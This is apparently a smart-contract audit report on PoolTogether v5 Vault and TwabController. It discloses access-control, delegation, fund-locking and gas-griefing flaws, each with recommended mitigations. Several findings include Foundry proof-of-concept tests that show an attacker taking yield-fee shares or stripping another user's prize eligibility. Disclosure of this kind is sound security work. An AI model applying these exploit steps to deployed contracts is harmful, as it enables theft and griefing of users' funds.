PoolTogether - 0xbepresent's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L573 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1229

Vulnerability details

Impact

When a liquidate() exists, there is an increase of the yield fee balance, so the _yieldFeeRecipient can get those fees via Vault.mintYieldFee() function. The problem is that the yield fee shares can be lost because there is not any restriction about who calls Vault.mintYieldFee().

Proof of Concept

The mintYieldFee() function does not have any protection that could be called only by _yieldFeeRecipient or validation that the fees must be transferred only to the yieldFeeRecipient.

File: Vault.sol
394:   function mintYieldFee(uint256 _shares, address _recipient) external {
395:     _requireVaultCollateralized();
396:     if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);
397: 
398:     _yieldFeeTotalSupply -= _shares;
399:     _mint(_recipient, _shares);
400: 
401:     emit MintYieldFee(msg.sender, _recipient, _shares);
402:   }

I created a test where the yield fee shares are extracted by an attacker causing the lost of the fee shares. Test steps:

1. Setup the liquidation scenario.
2. Assert Bob is the YieldFeeRecipient assigned by setYieldFeeRecipient(bob) function;
3. An attacker can call mintYieldFee() and extract the fee shares.
4. Bob has 0 vault shares. Attacker has the yieldFeesShares. The feeRecipient Bob lost the fee shares.

// test/unit/Vault/Liquidate.t.sol:VaultLiquidateTest
// forge test --match-test "testLiquidateAndMintFeesToAnAttacker"
  function testLiquidateAndMintFeesToAnAttacker() external {
    // The mint yield fee can be extracted by anyone who calls mintYieldFee() causing the lost
    // of yield fee shares.
    // 1. Setup the liquidation scenario.
    // 2. Assert Bob is the YieldFeeRecipient assigned by setYieldFeeRecipient(bob) function;
    // 3. An attacker can call mintYieldFee() and extract the fee shares.
    // 4. Bob has 0 vault shares. Attacker has the yieldFeesShares.
    //
    // 1. Setup the liquidation scenario.
    //
    address attacker = address(1337);
    _setLiquidationPair();
    vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);
    vault.setYieldFeeRecipient(bob);
    uint256 _amount = 1000e18;
    underlyingAsset.mint(address(this), _amount);
    _sponsor(underlyingAsset, vault, _amount, address(this));
    uint256 _yield = 10e18;
    _accrueYield(underlyingAsset, yieldVault, _yield);
    vm.startPrank(alice);
    prizeToken.mint(alice, 1000e18);
    uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));
    _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);
    vm.stopPrank();
    uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);
    assertEq(vault.balanceOf(bob), 0);
    assertEq(vault.balanceOf(attacker), 0);
    assertEq(vault.totalSupply(), _amount + _liquidatedYield);
    assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);
    //
    // 2. Assert Bob is the YieldFeeRecipient assigned by setYieldFeeRecipient(bob) function
    //
    assertEq(vault.yieldFeeRecipient(), bob);
    //
    // 3. An attacker can call mintYieldFee and extract the fee shares.
    //
    vm.prank(attacker);
    vault.mintYieldFee(_yieldFeeShares, attacker);
    //
    // 4. Bob has 0 vault shares. Attacker has the yieldFeesShares.
    //
    assertEq(vault.balanceOf(bob), 0);
    assertEq(vault.balanceOf(attacker), _yieldFeeShares);
    assertEq(vault.totalSupply(), _amount + _liquidatedYield + _yieldFeeShares);
    assertEq(vault.yieldFeeTotalSupply(), 0);
  }

Tools used

Manual review

Recommended Mitigation Steps

Validates the Vault.mintYieldFee() function must be called only by the yieldFeeRecipient() or ensure the yield fees should be transferred only to the yieldFeeRecipient().

Assessed type

Access Control

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L480 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L982 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L500

Vulnerability details

Impact

The Vault.sponsor() helps to delegate the user balance to the sponsorship address. As the code comment says: @notice Allows users to revoke their chances to win by delegating to the sponsorship address..

The problem is that the function can be called using any _receiver in the parameter causing that all the receiver balance to move to the sponsorship address, even the balance that the receiver deposited previously.

Please see the next scenario:

1. Bob deposits 10e18 to the vault. Bob balance is 10e18 and delegateBalance is 10e18.
2. Malicious actor sponsors 1 wei to Bob. The sponsor function is executed to the Bob receiver, so all his balance is moved to the SPONSORSHIP_ADDRESS. The TwabController._delegate() function moves all the bob balance.
3. Since the delegated balance is moved to the SPONSORSHIP_ADDRESS, bob revoke without consent his chances to win in the draw contest.

Malicious actor can sponsor anyone making them to revoke without consent his chances to win in the draw.

Proof of Concept

I created a test where alice the malicious actor sponsors 1 wei to John so all John previously balance plus the 1 wei is moving to the sponsorship address causing John to revoke without consent his chances to win in the draw. Test steps:

1. Bob deposits 10e18 to the vault.
2. At the same time, John deposits to the vault 10e18. Assert 10e18 amount in the john balance and delegateBalance.
3. Alice (Malicious actor) sponsors 1 wei to John, so now John has 10e18 + 1 wei in his balance but zero in his delegateBalanceOf.
4. Alice balance is 0 and John balance is the first deposit from the step 2 + the alice sponsor amount.
5. John balance is the deposited amount from the step 2 + the alice sponsor amount. John delegateBalance is zero because the amount was moved to the sponsorship address.
6. Bob balance is available by the getTwabBetween() balance, so he can participate in the draw contest.
7. John balance is NOT available by the getTwabBetween() because all his delegateBalance was moved to the sponsorship address. The John deposit from the step 2 was moved to the sponsorship address without consent.
8. Alice balance is NOT avaialable because she did not deposit to her account.

// File: test/unit/Vault/Deposit.t.sol:VaultDepositTest
// $ forge test --match-test "testSponsorOnBehalfMovingAllTheBalance"

 function testSponsorOnBehalfMovingAllTheBalance() external {
    // Malicious actor can sponsor anyone causing that sponsored user the revoke of his chances to win
    // even if he has previous deposits.
    // 1. Bob deposits 10e18 to the vault.
    // 2. At the same time, John deposits to the vault 10e18. Assert 10e18 amount in the john balance and delegateBalance.
    // 3. Alice (Malicious actor) sponsors 1 wei to John, so now John has 10e18 + 1 wei in his balance but zero in his delegateBalanceOf
    // 4. Alice balance is 0 and John balance is the first deposit from the step 2 + the alice sponsor amount.
    // 5. John balance is the deposited amount from the step 2 + the alice sponsor amount.
    //    John delegateBalance is zero because the amount was moved to the sponsorship address.
    // 6. Bob balance is available by the getTwabBetween() balance, so he can participate in the draw contest
    // 7. John balance is NOT available by the getTwabBetween() because all his delegateBalance was
    //    moved to the sponsorship address. The John deposit from the step 2 was moved to the sponsorship address
    //    without consent.
    // 8. Alice balance is NOT avaialable because she did not deposit to her account.
    //
    address johnTheSponsored = address(1212);

    uint32 period_length = twabController.PERIOD_LENGTH();
    uint32 period_offset = twabController.PERIOD_OFFSET();

    uint32 initialTimestamp = period_offset + period_length;
    uint32 currentTimestamp = initialTimestamp + period_length;

    vm.warp(initialTimestamp);
    //
    // 1. Bob deposits 10e18 to the vault.
    //
    uint256 bobInitialDeposit = 10e18;
    vm.startPrank(bob);
    underlyingAsset.mint(bob, bobInitialDeposit);
    underlyingAsset.approve(address(vault), type(uint256).max);
    vault.deposit(bobInitialDeposit, bob);
    assertEq(twabController.balanceOf(address(vault), bob), bobInitialDeposit);
    assertEq(twabController.delegateBalanceOf(address(vault), bob), bobInitialDeposit);
    vm.stopPrank();
    //
    // 2. At the same time, John deposits to the vault 10e18. Assert 10e18 amount in the john balance and delegateBalance.
    //
    uint256 johnInitialDeposit = 10e18;
    vm.startPrank(johnTheSponsored);
    underlyingAsset.mint(johnTheSponsored, johnInitialDeposit);
    underlyingAsset.approve(address(vault), type(uint256).max);
    vault.deposit(johnInitialDeposit, johnTheSponsored);
    assertEq(twabController.balanceOf(address(vault), johnTheSponsored), johnInitialDeposit);
    assertEq(twabController.delegateBalanceOf(address(vault), johnTheSponsored), johnInitialDeposit);
    vm.stopPrank();
    //
    // 3. Alice (Malicious actor) sponsors 1 wei to John, so now John has 10e18 + 1 wei in his balance but zero in his delegateBalanceOf
    //
    vm.startPrank(alice);
    uint256 _amountAliceSponsor = 1 wei;
    underlyingAsset.mint(alice, _amountAliceSponsor);
    underlyingAsset.approve(address(vault), type(uint256).max);

    vm.expectEmit();
    emit Transfer(address(0), johnTheSponsored, _amountAliceSponsor);

    vm.expectEmit();
    emit Sponsor(alice, johnTheSponsored, _amountAliceSponsor, _amountAliceSponsor);
    vault.sponsor(_amountAliceSponsor, johnTheSponsored);
  
    vm.stopPrank();
    //
    // 4. Alice balance is 0 and John balance is the first deposit from the step 2 + the alice sponsor amount.
    //
    assertEq(vault.balanceOf(alice), 0);
    assertEq(vault.balanceOf(johnTheSponsored), _amountAliceSponsor + johnInitialDeposit);
    assertEq(twabController.balanceOf(address(vault), alice), 0);
    assertEq(twabController.delegateBalanceOf(address(vault), alice), 0);
    //
    // 5. John balance is the deposited amount from the step 2 + the alice sponsor amount.
    //    John delegateBalance is zero because the amount was moved to the sponsorship address.
    //
    assertEq(twabController.balanceOf(address(vault), johnTheSponsored), _amountAliceSponsor + johnInitialDeposit);
    assertEq(twabController.delegateBalanceOf(address(vault), johnTheSponsored), 0);
    assertEq(twabController.delegateOf(address(vault), johnTheSponsored), SPONSORSHIP_ADDRESS);

    // assert some general balances
    assertEq(twabController.balanceOf(address(vault), SPONSORSHIP_ADDRESS), 0);
    assertEq(twabController.delegateBalanceOf(address(vault), SPONSORSHIP_ADDRESS), 0);
    assertEq(underlyingAsset.balanceOf(address(yieldVault)), _amountAliceSponsor + bobInitialDeposit + johnInitialDeposit);
    assertEq(yieldVault.balanceOf(address(vault)), _amountAliceSponsor + bobInitialDeposit + johnInitialDeposit);
    assertEq(yieldVault.totalSupply(), _amountAliceSponsor + bobInitialDeposit + johnInitialDeposit);

    // Jump the time
    vm.warp(currentTimestamp);
    //
    // 6. Bob balance is available by the getTwabBetween() balance, so he can participate in the draw contest
    //
    uint256 bobBalance = twabController.getTwabBetween(
      address(vault),
      bob,
      initialTimestamp,
      initialTimestamp + 11
    );
    assertEq(bobBalance, 10e18);
    assertEq(twabController.getBalanceAt(address(vault), bob, currentTimestamp), 10e18);
    //
    // 7. John balance is NOT available by the getTwabBetween() because all his delegateBalance was
    // moved to the sponsorship address. The John deposit from the step 2 was moved to the sponsorship address
    // without consent
    //
    uint256 johnBalance = twabController.getTwabBetween(
      address(vault),
      johnTheSponsored,
      initialTimestamp,
      initialTimestamp + 11
    );
    assertEq(johnBalance, 0);
    assertEq(twabController.getBalanceAt(address(vault), johnTheSponsored, currentTimestamp), 0);
    //
    // 8. Alice balance is NOT avaialable because she did not deposit to her account.
    //
    uint256 aliceBalance = twabController.getTwabBetween(
      address(vault),
      alice,
      initialTimestamp,
      initialTimestamp + 11
    );
    assertEq(aliceBalance, 0);
    assertEq(twabController.getBalanceAt(address(vault), alice, currentTimestamp), 0);
  }

Tools used

Manual review

Recommended Mitigation Steps

The amount to the SPONSORSHIP_ADDRESS should be only the sponsored amount not all the previsouslty deposits of the sponsored user.

Assessed type

Other

Lines of code

https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L491 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L590

Vulnerability details

Impact

The TwabController.delegate() function helps to delegate the user's balance to another address. The problem is that if the user accidentally/intentionally delegates to zero address, his funds will be trapped in the vault contract.

Proof of Concept

I created a test where Alice deposits 1000e18 to the Vault and the funds will be trapped. Test steps:

1. Alice deposits 1000e18 to the vault.
2. Alice accidentally/intentionally delegates to zero address.
3. Assert the maxWithdraw() function returns the amount available to withdraw.
4. Alice calls the withdraw() function but is reverted by DelegateBalanceLTAmount.selector.
5. Alice tries to delegate from address(0) to herself but the function is reverted by SameDelegateAlreadySet.selector.
6. Alice tries to delegate from address(0) to another account but the function is reverted by DelegateBalanceLTAmount.selector.

// File: test/unit/Vault/Withdraw.t.sol:VaultWithdrawTest
// $ forge test --match-test "testWithdrawRevertIfUserDelegatesToZero"
//
import { SameDelegateAlreadySet } from "v5-twab-controller/TwabController.sol";
import { DelegateBalanceLTAmount } from "v5-twab-controller/libraries/TwabLib.sol";

  function testWithdrawRevertIfUserDelegatesToZero() external {
    // User funds may be trapped in the vault if he delegates to zero address
    // 1. Alice deposit 1000e18 to the vault
    // 2. Alice accidentally/intentionally delegates to zero
    // 3. Assert the maxWithdraw() function returns the amount available to withdraw.
    // 4. Alice calls the withdraw() function but is reverted by "DelegateBalanceLTAmount.selector"
    // 5. Alice tries to delegate from address(0) to herself but the function is reverted by "SameDelegateAlreadySet.selector".
    // 6. Alice tries to delegate from address(0) to another account but the function is reverted by "DelegateBalanceLTAmount.selector".
    //
    // 1. Alice deposit 1000e18 to the vault 
    //
    vm.startPrank(alice);
    uint256 _amount = 1000e18;
    underlyingAsset.mint(alice, _amount);
    _deposit(underlyingAsset, vault, _amount, alice);
    //
    // 2. Alice accidentally/intentionally delegates to zero
    //
    twabController.delegate(address(vault), address(0));
    //
    // 3. Assert the maxWithdraw() function returns the amount available to withdraw.
    //
    uint256 maxWithdraw = vault.maxWithdraw(alice);
    assertEq(maxWithdraw, _amount);
    //
    // 4. Alice calls the withdraw() function but is reverted by "DelegateBalanceLTAmount.selector"
    //
    vm.expectRevert(abi.encodeWithSelector(DelegateBalanceLTAmount.selector, 0, 1e21, "TC/observation-burn-lt-delegate-balance"));
    vault.withdraw(maxWithdraw, alice, alice);
    //
    // 5. Alice tries to delegate from address(0) to herself but the function is reverted by "SameDelegateAlreadySet.selector".
    // 
    vm.expectRevert(abi.encodeWithSelector(SameDelegateAlreadySet.selector, alice));
    twabController.delegate(address(vault), alice);
    //
    // 6. Alice tries to delegate from address(0) to another account but the function is reverted by "DelegateBalanceLTAmount.selector".
    // 
    vm.expectRevert(abi.encodeWithSelector(DelegateBalanceLTAmount.selector, 0, 1e21, "TC/observation-burn-lt-delegate-balance"));
    twabController.delegate(address(vault), bob);

    vm.stopPrank();
  }

Tools used

Manual review

Recommended Mitigation Steps

SInce the TwabController._delegateOf() function considers that zero address is the user who is delegating, implements a validation in the TwabController.delegate() function that if the delegation is to the zero addres then use the same user who is delegating.

Assessed type

Invalid Validation

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L607 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1043

Vulnerability details

Impact

The winners have an option to set up hooks in order to execute their contracts before and after the claim prize. When there is a claim, the Vault._claimPrize() function search if the winner has a configured hook, it calls the winnerContractHook.beforeClaimPrize() functon then after the prize is claimed, it executes the winnerContractHook.afterClaimPrize() function.

The problem is that all the transaction gas is sent to those external calls. Since there is not gas limit in each external call, the Vault._claimPrize() function may be reverted by out of gas error OR the claimer may waste more gas than it should be for the claim process.

Winners maliciously/accidentally can setup hooks that consume all the available gas or make claimer to waste more gas than it should be.

Proof of Concept

The 1053 and 1068 code lines call the winner's contract without any limit of the gas sent to those external calls.

File: Vault.sol
1043:   function _claimPrize(
1044:     address _winner,
1045:     uint8 _tier,
1046:     uint32 _prizeIndex,
1047:     uint96 _fee,
1048:     address _feeRecipient
1049:   ) internal returns (uint256) {
1050:     VaultHooks memory hooks = _hooks[_winner];
1051:     address recipient;
1052:     if (hooks.useBeforeClaimPrize) {
1053:       recipient = hooks.implementation.beforeClaimPrize(_winner, _tier, _prizeIndex);
1054:     } else {
1055:       recipient = _winner;
1056:     }
1057: 
1058:     uint prizeTotal = _prizePool.claimPrize(
1059:       _winner,
1060:       _tier,
1061:       _prizeIndex,
1062:       recipient,
1063:       _fee,
1064:       _feeRecipient
1065:     );
1066: 
1067:     if (hooks.useAfterClaimPrize) {
1068:       hooks.implementation.afterClaimPrize(
1069:         _winner,
1070:         _tier,
1071:         _prizeIndex,
1072:         prizeTotal - _fee,
1073:         recipient
1074:       );
1075:     }
1076: 
1077:     return prizeTotal;
1078:   }

Tools used

Manual review

Recommended Mitigation Steps

Add gas limitation to each winner external call. Additionally, implements a function which helps the winner claim his own prize.

Assessed type

call/delegatecall

1 - The Vault.setClaimer() should validate is not a zero address

The function Vault.setClaimer() should validate that the claimer address is not a zero address. Since the claimer is the unique entity who claims the winner prizers, it is crucial for the winner that the claimer is set up correctly to claim the winners prizes.

2 - Validates that the hooks.implementation.beforeClaimPrize() returns a non zero address

The hooks.implementation.beforeClaimPrize() is managed by an external user and it may return a zero address, causing that the claim price proccess to fail because the safeTransfer to zero address will fail. If the hooks.implementation.beforeClaimPrize() function returns a zero address it should use the _recipient given by the claimer.

3 - When the prizePool is assigned to the Vault, validates that prizePool and Vault are using the same TwabController

The prizePool is registered when the vault is created. The problem is that there is not any validation that the registered twabController in the prizePool is the same that the the vault is using. If the vault is using another TwabController the winners can't claim prizes because their balances are not counted since prizePool manages another TwabController.

4 - The liquidator can be frontrunned while is depositing prizeTokens to the prizePool

The liquidator should introduce prizeTokens to the prizePool before he calls the Vault.liquidate() function. The problem is that a malicious actor can be frontrunned and make the introduced prizeTokens to be accumulated to another vault. The liquidator can lost his prizeTokens.